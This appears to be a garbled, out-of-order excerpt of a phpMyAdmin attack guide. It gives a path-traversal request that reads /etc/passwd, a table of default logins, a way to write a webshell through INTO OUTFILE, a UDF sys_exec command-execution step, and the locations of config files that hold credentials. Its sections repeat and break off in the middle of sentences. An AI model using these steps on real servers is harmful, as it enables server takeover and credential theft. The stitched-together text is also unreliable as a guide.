POST /phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../etc/passwd Improper sanitization of the target parameter. Patched in 4.8.5. Test instances still exist. Part 3: Post-Authentication to Remote Code Execution (RCE) Once logged in, the game is over for the server. 3.1 Into Outfile Method (Most Reliable) If the database user has FILE privilege, you can write a webshell.
curl -s http://target/phpmyadmin/README | grep "Version" Verified: phpMyAdmin 5.1.1 leaks version in the default CSS comment: /* v5.1.1 */ . 2.1 Default Credentials (Still Works in 2025) Despite warnings, many test environments (and sadly some production) still use: phpmyadmin hacktricks verified
CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so'; SELECT sys_exec('id'); Requires plugin directory write access. Most shared hosting disables this. Part 4: Privilege Escalation via phpMyAdmin Itself 4.1 Config File Disclosure The config.inc.php file contains database credentials and sometimes auth keys. POST /phpmyadmin/index
| Username | Password | |----------|----------| | root | root | | root | (blank) | | root | toor | | admin | (blank) | | pma | pmapassword | Part 3: Post-Authentication to Remote Code Execution (RCE)
Last verified: June 2025 – phpMyAdmin 5.2.1, MySQL 8.0, Ubuntu 22.04.
/var/lib/phpmyadmin/config.inc.php /etc/phpmyadmin/config.inc.php /usr/share/phpmyadmin/config.inc.php
Remember: The difference between a hacker and a security engineer is verification. Run these tests. Document the results. Then patch, block, and monitor. Bookmark this page or run the pma-hacktricks-verifier.sh script (available on GitHub) to automate checks for all methods described above.